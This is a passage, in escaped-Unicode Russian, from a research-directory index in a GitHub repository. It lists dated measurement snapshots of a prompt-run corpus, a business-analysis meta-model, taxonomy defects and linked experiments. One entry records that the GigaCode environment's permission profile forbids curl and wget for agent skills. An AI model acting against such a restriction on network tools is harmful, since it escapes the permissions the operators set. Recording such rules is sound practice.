\u0431\u0430\u0437\u0430 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M1`\u2013`M4`: \u0437\u0430\u043c\u0435\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 `runs/` \u043d\u0430\\n  \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `ef88a9a` (57 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432). \u0412\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043c\u043e\u0434\u0443\u043b\u044f \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0434\u0438\u043d \u0437\u0430\u043c\u0435\u0440,\\n  \u0430 \u043d\u0435 \u0432\u044b\u0434\u0432\u0438\u0433\u0430\u044e\u0442 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u043e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435.\\n- [`2026-08-25-mango-runs-empirical-snapshot.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md)\\n  \u2014 \u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f `mango_ba_prompts` \u043d\u0430 2026-08-25.\\n  \u041c\u043e\u0434\u0443\u043b\u044c \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u043d\u0438\u043c\u043e\u043a, \u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442: \u0443 \u043c\u043e\u0434\u0443\u043b\u044f \u043d\u0435\u0442 \u0435\u0434\u0438\u043d\u043e\u0439 \u0434\u0430\u0442\u044b, \u0443\\n  \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043e\u043d\u0430 \u0435\u0441\u0442\u044c.\\n- [`2026-09-07-ecosystem-knowledge-inventory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md)\\n  \u2014 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0438 \u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u0430\u0440\u0442\u0430 \u0437\u043d\u0430\u043d\u0438\u0439 \u0442\u0440\u0451\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b\\n  (368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, \u043a\u043e\u043c\u043c\u0438\u0442\u044b `c259d61` / `8cbf82a` / `96c288f`): \u0440\u0435\u0435\u0441\u0442\u0440 \u043f\u043e\\n  \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u0430\u043c, \u0433\u0440\u0430\u0444 \u0441\u0432\u044f\u0437\u0435\u0439, \u043f\u0435\u0440\u0435\u0432\u0451\u0440\u043d\u0443\u0442\u043e\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u041c\u0430\u043d\u0433\u043e \u2192 \u0425\u0430\u0431 \u0438\\n  \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043a\u0430\u043d\u0430\u043b \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443 `clarify-engine-ai` \u2014 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u00a75.3\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043f\u043b\u043e\u0448\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u0443\u044e \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0443 \u0432\u0441\u0435\u0445 53 \u0435\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0443\u044e 8\\n  \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432, \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b\u0445 \u0432 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u043c\u043e\u0434\u0443\u043b\u044f\\n  `methodology-unification/`.\\n\\n- [`2026-09-08-artifact-structure-variance-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 `runs/` \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435\\n  `8cbf82a`: 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 17 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 **17 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445\\n  \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432** \u2014 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438. \u0421\u043b\u043e\u0442\\n  \u00ab\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438\u00bb \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0441\u044f 14 \u0440\u0430\u0437 \u043f\u043e\u0434 14 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438, \u00abUI-\u043b\u043e\u0433\u0438\u043a\u0430\u00bb \u0438 \u00ab\u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438\\n  \u043f\u0440\u0438\u0451\u043c\u043a\u0438\u00bb \u2014 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0440\u0430\u0437\u0443 \u043d\u0430 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u043c\u043e\u0434\u0443\u043b\u044f\\n  `artifact-micro-structure/` \u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0438\u043d\u0442\u0435\u0437\u0430 Golden Set.\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`: \u0440\u0435\u0436\u0438\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u0445\u043e\u0434\u0438\u0442\\n  \u0432 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (13 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 1.85), \u043d\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e \u0436\u0435 \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u044e\u0442 \u0441\u043a\u0435\u043b\u0435\u0442 (13 \u043f\u0430\u0440, \u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 **0.077**, \u043d\u0438\\n  \u043e\u0434\u043d\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0439 \u043f\u0430\u0440\u044b), \u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0440\u0435\u0436\u0438\u043c\u0443 \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435\\n  \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f (50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442). \u041f\u043e\u043a\u0440\u044b\u0442\u043e 6 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\u0437\\n  13, \u0438\u0437 \u0434\u0435\u0432\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u0438\u043d. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u043c\u043e\u0434\u0443\u043b\u044f\\n  `ba-meta-model/` \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f ADR-013.\\n\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0432\u043b\u0438\u044f\u043d\u0438\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0432\u0443\u044e \u043d\u043e\u0440\u043c\u0443 \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u0435\\n  `8cbf82a`: \u0438\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 **\u0434\u0435\u0441\u044f\u0442\u044c \u043d\u0435\\n  \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432**, \u0447\u0435\u0442\u044b\u0440\u0435 \u2014 \u043d\u0438 \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445, \u043d\u0438\\n  \u0432 67 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445, \u0441\u0440\u0435\u0434\u043d\u0435\u0435 \u2014 1.04 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u043b\u044e\u0441 \u0441\u043f\u043b\u043e\u0448\u043d\u043e\u0439 \u0430\u0443\u0434\u0438\u0442\\n  \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432 \u043c\u043e\u0434\u0443\u043b\u044f `ba-meta-model/`.\\n  \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f ADR-014 \u00ab\u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u00bb.\\n\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0430\u0445 `8cbf82a` (\u0441\u043f\u0438\u0446\u0430) \u0438\\n  `15aa76f` (\u0425\u0430\u0431): `D1` \u2014 29 \u043c\u0435\u0441\u0442 \u0441\u043a\u043b\u0435\u0439\u043a\u0438 \u00ab\u0424\u0422/\u0422\u0417\u00bb \u0432 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442; `D2` \u2014 4\\n  \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430; `D3` \u2014 7 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\u0437 13 \u0431\u0435\u0437\\n  \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430; `D4` \u2014 8 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\u0437 13 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f; `D5` \u2014 6\\n  \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 \u0441\u043f\u0438\u0446\u0435 \u043f\u0440\u043e\u0442\u0438\u0432 0 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0432 \u0425\u0430\u0431\u0435; `D6` \u2014\\n  \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 `\u0421\u0438\u0441\u0442\u0435\u043c\u0430`, `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c`, `\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441`; `D7` \u2014 66 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u044b \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432; `D8` \u2014 \u043e\u0434\u043d\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f\\n  \u043f\u0440\u043e\u0442\u0438\u0432 \u0434\u0432\u0443\u0445 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u043e \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u043c\u043e\u0434\u0443\u043b\u0435\u0439\\n  `process-taxonomy/`, `operation-taxonomy/` \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f ADR-015.\\n\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md)\\n  \u2014 \u0441\u043d\u0438\u043c\u043e\u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode \u043d\u0430 GitVerse: 11 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0437\\n  11 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b, 24 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 `GC-1`\u2013`GC-24` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b. \u0421\u043d\u0438\u043c\u043e\u043a\\n  **\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u0435\u0442** \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 0.1 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0442\\n  \u0438 \u0444\u043e\u0440\u043c\u0430 `SKILL.md` \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438: \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430\u0432\u044b\u043a\u0430 \u0437\u0430\u0434\u0430\u043d \u0441\u0440\u0435\u0434\u043e\u0439\\n  (`.agents/skills/<\u0438\u043c\u044f>/SKILL.md`, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 `name` \u0438 `description`,\\n  \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0438, \u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430), \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439\\n  \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0430 `curl` \u0438 `wget` \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u044b \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u043c \u043f\u0440\u0430\u0432. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n  \u043f\u0440\u0430\u0432\u0438\u043b `SK-0`\u2026`SK-10` \u0438 `GB-5`.\\n\\n## \u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b\\n\\n- [`exp/ba-requirements-normalization-539/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-requirements-normalization-539)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0430\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 `runs/` (issue\\n  [#539](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539)).\\n- [`exp/ba-rrp-full-cycle-545/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-rrp-full-cycle-545)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u0434\u043b\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M1`\u2013`M4` (issue\\n  [#545](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/545)).\\n- [`exp/ba-methodology-unification-557/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-methodology-unification-557)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440 \u0442\u0440\u0451\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432: \u0440\u0435\u0435\u0441\u0442\u0440 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, \u043a\u043b\u0430\u0441\u0441\u044b,\\n  \u0441\u0442\u0430\u0442\u0443\u0441\u044b \u0438 \u0433\u0440\u0430\u0444 \u0441\u0441\u044b\u043b\u043e\u043a (issue\\n  [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557)).\\n\\n- [`exp/ba-micro-structure-561/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-micro-structure-561)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u0434\u0432\u0430\\n  \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u044d\u0442\u0430\u043b\u043e\u043d\u0430 Golden Set \u0434\u043b\u044f \u043a\u043b\u0430\u0441\u0441\u043e\u0432 `contact-center` \u0438\\n  `self-service-lk` (issue\\n  [#561](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561)).\\n\\n- [`exp/ba-meta-model-563/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-563)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432,\\n  \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c\u0430, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435\\n  \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0430 (issue\\n  [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563)).\\n\\n- [`exp/ba-process-taxonomy-571/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-process-taxonomy-571)\\n  \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u0432\u043e\u0441\u044c\u043c\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u0441\u0435\u043c\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0435\u0439\u0441\u043e\u0432\\n  \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c\u0438 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f\u043c\u0438 \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043d\u043e\u0432\u043e\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438: \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 `20-*.md`\\n  \u043e\u0431\u043e\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043a\u0435\u0439\u0441\u0430\u043c\u0438.\\n  \u0422\u0430\u043c \u0436\u0435 \u2014 \u0441\u043d\u0438\u043c\u043e\u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b GigaCode: \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\\n  \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 24 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043e\u043a, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u043e\u0440\u043c\u0430 (issue\\n  [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)).\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u2014 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL). \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e\\n\u0432 issue [#539](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/539).\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 